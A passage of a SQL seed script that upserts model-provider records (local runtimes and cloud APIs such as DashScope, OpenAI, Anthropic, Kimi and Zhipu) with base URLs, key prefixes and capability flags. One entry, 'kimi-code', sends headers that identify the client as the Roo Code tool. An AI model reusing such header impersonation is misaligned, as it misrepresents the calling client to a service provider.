SET name=EXCLUDED.name, description=EXCLUDED.description, agent_type=EXCLUDED.agent_type, system_prompt=EXCLUDED.system_prompt, model_name=EXCLUDED.model_name, max_iterations=EXCLUDED.max_iterations, enabled=EXCLUDED.enabled, icon=EXCLUDED.icon, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== Local Model Providers (displayed first) ==================== + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('ollama', 'Ollama', '', 'OpenAIChatModel', 'ollama', 'http://127.0.0.1:11434', '{"max_tokens":null}', FALSE, TRUE, TRUE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('lmstudio', 'LM Studio', '', 'OpenAIChatModel', '', 'http://localhost:1234/v1', '{"max_tokens":null}', FALSE, TRUE, TRUE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('llamacpp', 'llama.cpp (Local)', '', 'OpenAIChatModel', '', '', '{}', FALSE, TRUE, FALSE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('mlx', 'MLX (Local, Apple Silicon)', '', 'OpenAIChatModel', '', '', '{}', FALSE, TRUE, FALSE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +-- ==================== Cloud Model Providers ==================== + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('dashscope', 'DashScope', 'sk-', 'DashScopeChatModel', '', '', '{}', FALSE, FALSE, TRUE, TRUE, FALSE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +-- DashScope OpenAI-compatible endpoint: shares the same sk- key as the +-- dashscope provider but routes to compatible-mode/v1. Dot-versioned qwen +-- families (qwen3.5-*, qwen3.6-*) are only callable here; the native endpoint +-- returns 400 InvalidParameter for them. +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('dashscope-compat', 'DashScope (OpenAI-compatible)', 'sk-', 'OpenAIChatModel', '', 'https://dashscope.aliyuncs.com/compatible-mode/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('modelscope', 'ModelScope', 'ms', 'OpenAIChatModel', '', 'https://api-inference.modelscope.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('aliyun-codingplan', 'Aliyun Coding Plan', 'sk-sp', 'OpenAIChatModel', '', 'https://coding.dashscope.aliyuncs.com/v1', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('aliyun-codingplan-intl', 'Aliyun Coding Plan (International)', 'sk-sp', 'OpenAIChatModel', '', 'https://coding-intl.dashscope.aliyuncs.com/v1', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('bailian-team', 'Bailian Token Plan', 'sk-', 'OpenAIChatModel', '', 'https://token-plan.cn-beijing.maas.aliyuncs.com/compatible-mode/v1', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('openai', 'OpenAI', 'sk-', 'OpenAIChatModel', '', 'https://api.openai.com/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('azure-openai', 'Azure OpenAI', '', 'OpenAIChatModel', '', '', '{}', FALSE, FALSE, FALSE, TRUE, FALSE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('minimax', 'MiniMax (International)', '', 'AnthropicChatModel', '', 'https://api.minimax.io/anthropic', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('minimax-cn', 'MiniMax (China)', '', 'AnthropicChatModel', '', 'https://api.minimaxi.com/anthropic', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('kimi-cn', 'Kimi (China)', '', 'OpenAIChatModel', '', 'https://api.moonshot.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('kimi-intl', 'Kimi (International)', '', 'OpenAIChatModel', '', 'https://api.moonshot.ai/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('kimi-code', 'Kimi Code', '', 'OpenAIChatModel', '', 'https://api.kimi.com/coding/v1', '{"headers":{"User-Agent":"RooCode/1.0","HTTP-Referer":"https://github.com/RooVetGit/Roo-Cline","X-Title":"Roo Code"}}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('deepseek', 'DeepSeek', 'sk-', 'OpenAIChatModel', '', 'https://api.deepseek.com', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('anthropic', 'Anthropic', 'sk-ant-', 'AnthropicChatModel', '', 'https://api.anthropic.com', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('gemini', 'Google Gemini', '', 'GeminiChatModel', '', 'https://generativelanguage.googleapis.com', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('xai', 'xAI (Grok)', 'xai-', 'OpenAIChatModel', '', 'https://api.x.ai/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('openrouter', 'OpenRouter', 'sk-or-', 'OpenAIChatModel', '', 'https://openrouter.ai/api/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('siliconflow-cn', 'SiliconFlow (China)', 'sk-', 'OpenAIChatModel', '', 'https://api.siliconflow.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('siliconflow-intl', 'SiliconFlow (International)', 'sk-', 'OpenAIChatModel', '', 'https://api.siliconflow.com/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('opencode', 'OpenCode', '', 'OpenAIChatModel', '', 'https://opencode.ai/zen/v1', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-cn', 'Zhipu AI (China)', '', 'OpenAIChatModel', '', 'https://open.bigmodel.cn/api/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-intl', 'Zhipu AI (International)', '', 'OpenAIChatModel', '', 'https://api.z.ai/api/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('volcengine', 'Volcano Engine', '', 'OpenAIChatModel', '', 'https://ark.cn-beijing.volces.com/api/v3', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('volcengine-plan', 'Volcano Engine Coding Plan', '', 'OpenAIChatModel', '', 'https://ark.cn-beijing.volces.com/api/coding/v3', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-cn-codingplan', 'Zhipu Coding Plan (BigModel)', '', 'OpenAIChatModel', '', 'https://open.bigmodel.cn/api/coding/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-intl-codingplan', 'Zhipu Coding Plan (Z.AI)', '', 'OpenAIChatModel', '', 'https://api.z.ai/api/coding/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, auth_type, create_time, update_time) +VALUES ('openai-chatgpt', 'OpenAI ChatGPT (OAuth)', '', 'ChatGPTChatModel', '', 'https://chatgpt.com/backend-api', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, FALSE, 'oauth', NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, 